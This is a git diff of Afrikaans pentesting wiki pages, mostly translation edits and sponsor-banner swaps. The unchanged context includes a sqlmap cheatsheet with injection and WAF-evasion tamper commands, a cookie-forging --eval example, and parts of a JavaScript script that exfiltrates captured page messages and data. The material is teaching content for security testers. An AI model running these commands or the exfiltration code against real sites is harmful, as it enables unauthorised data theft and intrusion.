||||||
|
@ -17,7 +17,9 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest vanaf enige plek uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening gaan. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -41,7 +43,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
--proxy=http://127.0.0.1:8080
|
--proxy=http://127.0.0.1:8080
|
||||||
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
|
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
|
||||||
```
|
```
|
||||||
### Inligting Herwin
|
### Verkry Inligting
|
||||||
|
|
||||||
#### Internaal
|
#### Internaal
|
||||||
```bash
|
```bash
|
||||||
|
@ -98,7 +100,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
||||||
```
|
```
|
||||||
### Eval
|
### Eval
|
||||||
|
|
||||||
**Sqlmap** laat die gebruik van `-e` of `--eval` toe om elke payload te verwerk voordat dit met 'n python oneliner gestuur word. Dit maak dit baie maklik en vinnig om die payload op pasgemaakte maniere te verwerk voordat dit gestuur word. In die volgende voorbeeld is die **flask cookie sessie** **onderteken deur flask met die bekende geheim voordat dit gestuur word**:
|
**Sqlmap** laat die gebruik van `-e` of `--eval` toe om elke payload te verwerk voordat dit met 'n python oneliner gestuur word. Dit maak dit baie maklik en vinnig om die payload op pasgemaakte maniere te verwerk voordat dit gestuur word. In die volgende voorbeeld is die **flask koekie sessie** **onderteken deur flask met die bekende geheim voordat dit gestuur word**:
|
||||||
```bash
|
```bash
|
||||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||||
```
|
```
|
||||||
|
@ -132,7 +134,7 @@ sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrat
|
||||||
```
|
```
|
||||||
[**Lees hierdie pos** ](second-order-injection-sqlmap.md)**oor hoe om eenvoudige en komplekse tweede orde inspuitings met sqlmap uit te voer.**
|
[**Lees hierdie pos** ](second-order-injection-sqlmap.md)**oor hoe om eenvoudige en komplekse tweede orde inspuitings met sqlmap uit te voer.**
|
||||||
|
|
||||||
## Pas Inspuiting aan
|
## Pas Inspuiting Aan
|
||||||
|
|
||||||
### Stel 'n agtervoegsel in
|
### Stel 'n agtervoegsel in
|
||||||
```bash
|
```bash
|
||||||
|
@ -158,7 +160,7 @@ Onthou dat **jy jou eie tamper in python kan skep** en dit is baie eenvoudig. Jy
|
||||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| apostrophemask.py | Vervang apostrof karakter met sy UTF-8 volle breedte teenhanger |
|
| apostrophemask.py | Vervang apostrof karakter met sy UTF-8 volle breedte teenhanger |
|
||||||
| apostrophenullencode.py | Vervang apostrof karakter met sy onwettige dubbele unicode teenhanger |
|
| apostrophenullencode.py | Vervang apostrof karakter met sy onwettige dubbele unicode teenhanger |
|
||||||
| appendnullbyte.py | Voeg geënkodeerde NULL byte karakter by die einde van die payload aan |
|
| appendnullbyte.py | Voeg geënkodeerde NULL byte karakter by aan die einde van die payload |
|
||||||
| base64encode.py | Base64 al karakters in 'n gegewe payload |
|
| base64encode.py | Base64 al karakters in 'n gegewe payload |
|
||||||
| between.py | Vervang groter as operator ('>') met 'NOT BETWEEN 0 AND #' |
|
| between.py | Vervang groter as operator ('>') met 'NOT BETWEEN 0 AND #' |
|
||||||
| bluecoat.py | Vervang spasie karakter na SQL verklaring met 'n geldige random leë karakter. Vervang daarna karakter = met LIKE operator |
|
| bluecoat.py | Vervang spasie karakter na SQL verklaring met 'n geldige random leë karakter. Vervang daarna karakter = met LIKE operator |
|
||||||
|
@ -170,9 +172,9 @@ Onthou dat **jy jou eie tamper in python kan skep** en dit is baie eenvoudig. Jy
|
||||||
| charunicodeencode.py | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk). "%u0022" |
|
| charunicodeencode.py | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk). "%u0022" |
|
||||||
| charunicodeescape.py | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk). "\u0022" |
|
| charunicodeescape.py | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk). "\u0022" |
|
||||||
| equaltolike.py | Vervang al voorkomste van operator gelyk ('=') met operator 'LIKE' |
|
| equaltolike.py | Vervang al voorkomste van operator gelyk ('=') met operator 'LIKE' |
|
||||||
| escapequotes.py | Slas escape aanhalings (' en ") |
|
| escapequotes.py | Skrap aanhalingstekens (' en ") |
|
||||||
| greatest.py | Vervang groter as operator ('>') met 'GREATEST' teenhanger |
|
| greatest.py | Vervang groter as operator ('>') met 'GREATEST' teenhanger |
|
||||||
| halfversionedmorekeywords.py | Voeg 'n geversioneerde MySQL kommentaar voor elke sleutelwoord by |
|
| halfversionedmorekeywords.py | Voeg geversioneerde MySQL kommentaar voor elke sleutelwoord by |
|
||||||
| ifnull2ifisnull.py | Vervang voorbeelde soos 'IFNULL(A, B)' met 'IF(ISNULL(A), B, A)' |
|
| ifnull2ifisnull.py | Vervang voorbeelde soos 'IFNULL(A, B)' met 'IF(ISNULL(A), B, A)' |
|
||||||
| modsecurityversioned.py | Omhels volledige navraag met geversioneerde kommentaar |
|
| modsecurityversioned.py | Omhels volledige navraag met geversioneerde kommentaar |
|
||||||
| modsecurityzeroversioned.py | Omhels volledige navraag met nul-geversioneerde kommentaar |
|
| modsecurityzeroversioned.py | Omhels volledige navraag met nul-geversioneerde kommentaar |
|
||||||
|
@ -183,7 +185,7 @@ Onthou dat **jy jou eie tamper in python kan skep** en dit is baie eenvoudig. Jy
|
||||||
| randomcase.py | Vervang elke sleutelwoord karakter met random kaswaarde |
|
| randomcase.py | Vervang elke sleutelwoord karakter met random kaswaarde |
|
||||||
| randomcomments.py | Voeg random kommentaar by SQL sleutelwoorde |
|
| randomcomments.py | Voeg random kommentaar by SQL sleutelwoorde |
|
||||||
| securesphere.py | Voeg spesiaal saamgestelde string by |
|
| securesphere.py | Voeg spesiaal saamgestelde string by |
|
||||||
| sp\_password.py | Voeg 'sp\_password' by die einde van die payload vir outomatiese obfuskaasie van DBMS logs |
|
| sp\_password.py | Voeg 'sp\_password' by aan die einde van die payload vir outomatiese obfuskaasie van DBMS logs |
|
||||||
| space2comment.py | Vervang spasie karakter (' ') met kommentaar |
|
| space2comment.py | Vervang spasie karakter (' ') met kommentaar |
|
||||||
| space2dash.py | Vervang spasie karakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n random string en 'n nuwe lyn ('\n') |
|
| space2dash.py | Vervang spasie karakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n random string en 'n nuwe lyn ('\n') |
|
||||||
| space2hash.py | Vervang spasie karakter (' ') met 'n pond karakter ('#') gevolg deur 'n random string en 'n nuwe lyn ('\n') |
|
| space2hash.py | Vervang spasie karakter (' ') met 'n pond karakter ('#') gevolg deur 'n random string en 'n nuwe lyn ('\n') |
|
||||||
|
@ -196,7 +198,7 @@ Onthou dat **jy jou eie tamper in python kan skep** en dit is baie eenvoudig. Jy
|
||||||
| space2randomblank.py | Vervang spasie karakter (' ') met 'n random leë karakter uit 'n geldige stel alternatiewe karakters |
|
| space2randomblank.py | Vervang spasie karakter (' ') met 'n random leë karakter uit 'n geldige stel alternatiewe karakters |
|
||||||
| symboliclogical.py | Vervang AND en OR logiese operators met hul simboliese teenhangers (&& en |
|
| symboliclogical.py | Vervang AND en OR logiese operators met hul simboliese teenhangers (&& en |
|
||||||
| unionalltounion.py | Vervang UNION ALL SELECT met UNION SELECT |
|
| unionalltounion.py | Vervang UNION ALL SELECT met UNION SELECT |
|
||||||
| unmagicquotes.py | Vervang aanhaling karakter (') met 'n multi-byte kombinasie %bf%27 saam met generiese kommentaar aan die einde (om dit te laat werk) |
|
| unmagicquotes.py | Vervang aanhalingstekens karakter (') met 'n multi-byte kombinasie %bf%27 saam met generiese kommentaar aan die einde (om dit te laat werk) |
|
||||||
| uppercase.py | Vervang elke sleutelwoord karakter met hoofletters waarde 'INSERT' |
|
| uppercase.py | Vervang elke sleutelwoord karakter met hoofletters waarde 'INSERT' |
|
||||||
| varnish.py | Voeg 'n HTTP kop 'X-originating-IP' by |
|
| varnish.py | Voeg 'n HTTP kop 'X-originating-IP' by |
|
||||||
| versionedkeywords.py | Omhels elke nie-funksie sleutelwoord met geversioneerde MySQL kommentaar |
|
| versionedkeywords.py | Omhels elke nie-funksie sleutelwoord met geversioneerde MySQL kommentaar |
|
||||||
|
@ -205,7 +207,9 @@ Onthou dat **jy jou eie tamper in python kan skep** en dit is baie eenvoudig. Jy
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Dadelijk beskikbare opstelling vir kwesbaarheid assessering & pentesting**. Voer 'n volledige pentest van enige plek af uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening gaan. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle terug 'n bietjie tyd te gee om dieper te delf, shells te pop, en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik outomatiese eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -15,12 +15,21 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
||||||
In elke Web Pentest, is daar **verskeie verborge en voor die hand liggende plekke wat kwesbaar mag wees**. Hierdie pos is bedoel as 'n kontrolelys om te bevestig dat jy vir kwesbaarhede in al die moontlike plekke gesoek het.
|
In elke Web Pentest, is daar **verskeie verborge en voor die hand liggende plekke wat kwesbaar mag wees**. Hierdie pos is bedoel as 'n kontrolelys om te bevestig dat jy vir kwesbaarhede in al die moontlike plekke gesoek het.
|
||||||
|
|
||||||
## Proxies
|
## Proxies
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Tans **gebruik** **web** **toepassings** gewoonlik 'n soort **tussenpersoon** **proxies**, wat (mis)bruik kan word om kwesbaarhede te ontgin. Hierdie kwesbaarhede benodig 'n kwesbare proxy om in plek te wees, maar hulle benodig gewoonlik ook 'n ekstra kwesbaarheid in die agtergrond.
|
Tans **web** **toepassings** gebruik gewoonlik **n soort van** **tussenpersoon** **proxies**, wat (mis)bruik kan word om kwesbaarhede te ontgin. Hierdie kwesbaarhede benodig 'n kwesbare proxy om in plek te wees, maar hulle benodig gewoonlik ook 'n ekstra kwesbaarheid in die agtergrond.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
* [ ] [**Misbruik van hop-by-hop headers**](abusing-hop-by-hop-headers.md)
|
* [ ] [**Misbruik van hop-by-hop headers**](abusing-hop-by-hop-headers.md)
|
||||||
|
@ -39,27 +48,27 @@ Die meeste webtoepassings sal **gebruikers toelaat om sekere data in te voer wat
|
||||||
Afhangende van die struktuur van die data wat die bediener verwag, mag sommige kwesbaarhede van toepassing wees of nie.
|
Afhangende van die struktuur van die data wat die bediener verwag, mag sommige kwesbaarhede van toepassing wees of nie.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### **Gereflecteerde Waardes**
|
### **Gereflekteerde Waardes**
|
||||||
|
|
||||||
As die ingevoerde data op een of ander manier in die antwoord weerspieël kan word, mag die bladsy kwesbaar wees vir verskeie probleme.
|
As die ingevoerde data op een of ander manier in die antwoord weerspieël kan word, mag die bladsy kwesbaar wees vir verskeie probleme.
|
||||||
|
|
||||||
* [ ] [**Kliëntkant Sjabloon Injekie**](client-side-template-injection-csti.md)
|
* [ ] [**Kliëntkant Sjabloon Injektering**](client-side-template-injection-csti.md)
|
||||||
* [ ] [**Opdrag Injekie**](command-injection.md)
|
* [ ] [**Opdrag Injektering**](command-injection.md)
|
||||||
* [ ] [**CRLF**](crlf-0d-0a.md)
|
* [ ] [**CRLF**](crlf-0d-0a.md)
|
||||||
* [ ] [**Hangende Markup**](dangling-markup-html-scriptless-injection/)
|
* [ ] [**Dangling Markup**](dangling-markup-html-scriptless-injection/)
|
||||||
* [ ] [**Lêer Insluiting/Pad Traversal**](file-inclusion/)
|
* [ ] [**Lêer Insluiting/Pad Traversal**](file-inclusion/)
|
||||||
* [ ] [**Open Redirect**](open-redirect.md)
|
* [ ] [**Open Redirect**](open-redirect.md)
|
||||||
* [ ] [**Prototipe Besoedeling na XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
* [ ] [**Prototipe Besoedeling na XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
||||||
* [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
|
* [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
|
||||||
* [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/)
|
* [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/)
|
||||||
* [ ] [**Server Side Sjabloon Injekie**](ssti-server-side-template-injection/)
|
* [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/)
|
||||||
* [ ] [**Reverse Tab Nabbing**](reverse-tab-nabbing.md)
|
* [ ] [**Reverse Tab Nabbing**](reverse-tab-nabbing.md)
|
||||||
* [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
* [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||||
* [ ] [**XSS**](xss-cross-site-scripting/)
|
* [ ] [**XSS**](xss-cross-site-scripting/)
|
||||||
* [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
|
* [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
|
||||||
* [ ] [**XS-Soek**](xs-search/)
|
* [ ] [**XS-Search**](xs-search/)
|
||||||
|
|
||||||
Sommige van die genoemde kwesbaarhede vereis spesiale toestande, ander vereis net dat die inhoud weerspieël moet word. Jy kan 'n paar interessante polyglots vind om vinnig die kwesbaarhede te toets in:
|
Sommige van die genoemde kwesbaarhede vereis spesiale toestande, ander vereis net dat die inhoud weerspieël word. Jy kan 'n paar interessante polyglots vind om vinnig die kwesbaarhede te toets in:
|
||||||
|
|
||||||
{% content-ref url="pocs-and-polygloths-cheatsheet/" %}
|
{% content-ref url="pocs-and-polygloths-cheatsheet/" %}
|
||||||
[pocs-and-polygloths-cheatsheet](pocs-and-polygloths-cheatsheet/)
|
[pocs-and-polygloths-cheatsheet](pocs-and-polygloths-cheatsheet/)
|
||||||
|
@ -67,72 +76,72 @@ Sommige van die genoemde kwesbaarhede vereis spesiale toestande, ander vereis ne
|
||||||
|
|
||||||
### **Soek funksies**
|
### **Soek funksies**
|
||||||
|
|
||||||
As die funksionaliteit gebruik kan word om 'n soort data in die agtergrond te soek, kan jy dit dalk (mis)bruik om arbitrêre data te soek.
|
As die funksionaliteit gebruik kan word om 'n tipe data in die agtergrond te soek, kan jy dit dalk (mis)bruik om arbitrêre data te soek.
|
||||||
|
|
||||||
* [ ] [**Lêer Insluiting/Pad Traversal**](file-inclusion/)
|
* [ ] [**Lêer Insluiting/Pad Traversal**](file-inclusion/)
|
||||||
* [ ] [**NoSQL Injekie**](nosql-injection.md)
|
* [ ] [**NoSQL Injektering**](nosql-injection.md)
|
||||||
* [ ] [**LDAP Injekie**](ldap-injection.md)
|
* [ ] [**LDAP Injektering**](ldap-injection.md)
|
||||||
* [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md)
|
* [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md)
|
||||||
* [ ] [**SQL Injekie**](sql-injection/)
|
* [ ] [**SQL Injektering**](sql-injection/)
|
||||||
* [ ] [**XPATH Injekie**](xpath-injection.md)
|
* [ ] [**XPATH Injektering**](xpath-injection.md)
|
||||||
|
|
||||||
### **Vorms, WebSockets en PostMsgs**
|
### **Vorms, WebSockets en PostMsgs**
|
||||||
|
|
||||||
Wanneer 'n websocket 'n boodskap pos of 'n vorm toelaat dat gebruikers aksies uitvoer, kan kwesbaarhede ontstaan.
|
Wanneer 'n websocket 'n boodskap pos of 'n vorm toelaat dat gebruikers aksies uitvoer, mag kwesbaarhede ontstaan.
|
||||||
|
|
||||||
* [ ] [**Cross Site Request Forgery**](csrf-cross-site-request-forgery.md)
|
* [ ] [**Cross Site Request Forgery**](csrf-cross-site-request-forgery.md)
|
||||||
* [ ] [**Cross-site WebSocket kaping (CSWSH)**](websocket-attacks.md)
|
* [ ] [**Cross-site WebSocket kaping (CSWSH)**](websocket-attacks.md)
|
||||||
* [ ] [**PostMessage Kwetsbaarhede**](postmessage-vulnerabilities/)
|
* [ ] [**PostMessage Kwesbaarhede**](postmessage-vulnerabilities/)
|
||||||
|
|
||||||
### **HTTP Headers**
|
### **HTTP Headers**
|
||||||
|
|
||||||
Afhangende van die HTTP headers wat deur die webbediener gegee word, mag sommige kwesbaarhede teenwoordig wees.
|
Afhangende van die HTTP headers wat deur die webbediener gegee word, mag sommige kwesbaarhede teenwoordig wees.
|
||||||
|
|
||||||
* [ ] [**Clickjacking**](clickjacking.md)
|
* [ ] [**Clickjacking**](clickjacking.md)
|
||||||
* [ ] [**Inhoud Sekuriteit Beleid omseiling**](content-security-policy-csp-bypass/)
|
* [ ] [**Inhoud Sekuriteitsbeleid omseiling**](content-security-policy-csp-bypass/)
|
||||||
* [ ] [**Koekies Hacking**](hacking-with-cookies/)
|
* [ ] [**Koekies Hacking**](hacking-with-cookies/)
|
||||||
* [ ] [**CORS - Misconfigurasies & Omseiling**](cors-bypass.md)
|
* [ ] [**CORS - Misconfigurasies & Omseiling**](cors-bypass.md)
|
||||||
|
|
||||||
### **Omseilings**
|
### **Omseilings**
|
||||||
|
|
||||||
Daar is verskeie spesifieke funksionaliteite waar sommige omseilings nuttig mag wees om te omseil.
|
Daar is verskeie spesifieke funksies waar sommige omseilings nuttig mag wees om te omseil.
|
||||||
|
|
||||||
* [ ] [**2FA/OTP Omseiling**](2fa-bypass.md)
|
* [ ] [**2FA/OTP Omseiling**](2fa-bypass.md)
|
||||||
* [ ] [**Omseil Betaling Proses**](bypass-payment-process.md)
|
* [ ] [**Omseil Betaling Proses**](bypass-payment-process.md)
|
||||||
* [ ] [**Captcha Omseiling**](captcha-bypass.md)
|
* [ ] [**Captcha Omseiling**](captcha-bypass.md)
|
||||||
* [ ] [**Inlog Omseiling**](login-bypass/)
|
* [ ] [**Login Omseiling**](login-bypass/)
|
||||||
* [ ] [**Ras Toestand**](race-condition.md)
|
* [ ] [**Race Toestand**](race-condition.md)
|
||||||
* [ ] [**Tarief Limiet Omseiling**](rate-limit-bypass.md)
|
* [ ] [**Tarief Limiet Omseiling**](rate-limit-bypass.md)
|
||||||
* [ ] [**Herstel Vergete Wagwoord Omseiling**](reset-password.md)
|
* [ ] [**Herstel Vergete Wagwoord Omseiling**](reset-password.md)
|
||||||
* [ ] [**Registrasie Kwetsbaarhede**](registration-vulnerabilities.md)
|
* [ ] [**Registrasie Kwesbaarhede**](registration-vulnerabilities.md)
|
||||||
|
|
||||||
### **Gestructureerde objek / Spesifieke funksionaliteite**
|
### **Gestructureerde objek / Spesifieke funksies**
|
||||||
|
|
||||||
Sommige funksionaliteite sal vereis dat die **data in 'n baie spesifieke formaat gestruktureer moet wees** (soos 'n taal-serialiseerde objek of XML). Daarom is dit makliker om te identifiseer of die toepassing kwesbaar mag wees, aangesien dit daardie soort data moet verwerk.\
|
Sommige funksies sal die **data vereis om in 'n baie spesifieke formaat gestruktureer te wees** (soos 'n taal-serialiseerde objek of XML). Daarom is dit makliker om te identifiseer of die toepassing kwesbaar mag wees aangesien dit daardie tipe data moet verwerk.\
|
||||||
Sommige **spesifieke funksionaliteite** mag ook kwesbaar wees as 'n **spesifieke formaat van die invoer gebruik word** (soos E-pos Header Injekies).
|
Sommige **spesifieke funksies** mag ook kwesbaar wees as 'n **spesifieke formaat van die invoer gebruik word** (soos E-pos Header Injektering).
|
||||||
|
|
||||||
* [ ] [**Deserialisering**](deserialization/)
|
* [ ] [**Deserialisering**](deserialization/)
|
||||||
* [ ] [**E-pos Header Injekie**](email-injections.md)
|
* [ ] [**E-pos Header Injektering**](email-injections.md)
|
||||||
* [ ] [**JWT Kwetsbaarhede**](hacking-jwt-json-web-tokens.md)
|
* [ ] [**JWT Kwesbaarhede**](hacking-jwt-json-web-tokens.md)
|
||||||
* [ ] [**XML Eksterne Entiteit**](xxe-xee-xml-external-entity.md)
|
* [ ] [**XML Eksterne Entiteit**](xxe-xee-xml-external-entity.md)
|
||||||
|
|
||||||
### Lêers
|
### Lêers
|
||||||
|
|
||||||
Funksionaliteite wat die opgelaai van lêers toelaat, mag kwesbaar wees vir verskeie probleme.\
|
Funksies wat die opgelaai van lêers toelaat, mag kwesbaar wees vir verskeie probleme.\
|
||||||
Funksionaliteite wat lêers genereer wat gebruikersinvoer insluit, mag onverwagte kode uitvoer.\
|
Funksies wat lêers genereer wat gebruikersinvoer insluit, mag onverwagte kode uitvoer.\
|
||||||
Gebruikers wat lêers wat deur gebruikers opgelaai is of outomaties gegenereer is, insluitend gebruikersinvoer, mag gecompromitteer word.
|
Gebruikers wat lêers wat deur gebruikers opgelaai of outomaties gegenereer is, insluitend gebruikersinvoer, mag gecompromitteer word.
|
||||||
|
|
||||||
* [ ] [**Lêer Oplaai**](file-upload/)
|
* [ ] [**Lêer Oplaai**](file-upload/)
|
||||||
* [ ] [**Formule Injekie**](formula-csv-doc-latex-ghostscript-injection.md)
|
* [ ] [**Formule Injektering**](formula-csv-doc-latex-ghostscript-injection.md)
|
||||||
* [ ] [**PDF Injekie**](xss-cross-site-scripting/pdf-injection.md)
|
* [ ] [**PDF Injektering**](xss-cross-site-scripting/pdf-injection.md)
|
||||||
* [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
* [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||||
|
|
||||||
### **Eksterne Identiteit Bestuur**
|
### **Eksterne Identiteitsbestuur**
|
||||||
|
|
||||||
* [ ] [**OAUTH na Rekening oorneem**](oauth-to-account-takeover.md)
|
* [ ] [**OAUTH na Rekening oorneem**](oauth-to-account-takeover.md)
|
||||||
* [ ] [**SAML Aanvalle**](saml-attacks/)
|
* [ ] [**SAML Aanvalle**](saml-attacks/)
|
||||||
|
|
||||||
### **Ander Nuttige Kwetsbaarhede**
|
### **Ander Nuttige Kwesbaarhede**
|
||||||
|
|
||||||
Hierdie kwesbaarhede mag help om ander kwesbaarhede te ontgin.
|
Hierdie kwesbaarhede mag help om ander kwesbaarhede te ontgin.
|
||||||
|
|
||||||
|
@ -141,6 +150,16 @@ Hierdie kwesbaarhede mag help om ander kwesbaarhede te ontgin.
|
||||||
* [ ] [**Parameter Besoedeling**](parameter-pollution.md)
|
* [ ] [**Parameter Besoedeling**](parameter-pollution.md)
|
||||||
* [ ] [**Unicode Normalisering kwesbaarheid**](unicode-injection/)
|
* [ ] [**Unicode Normalisering kwesbaarheid**](unicode-injection/)
|
||||||
|
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
|
@ -12,6 +12,10 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://websec.nl/" %}
|
||||||
```javascript
|
```javascript
|
||||||
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
|
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
|
||||||
// If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1
|
// If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1
|
||||||
|
@ -119,6 +123,10 @@ window.onmessage = function(e){
|
||||||
exfil_info("onmessage", encode(e.data))
|
exfil_info("onmessage", encode(e.data))
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
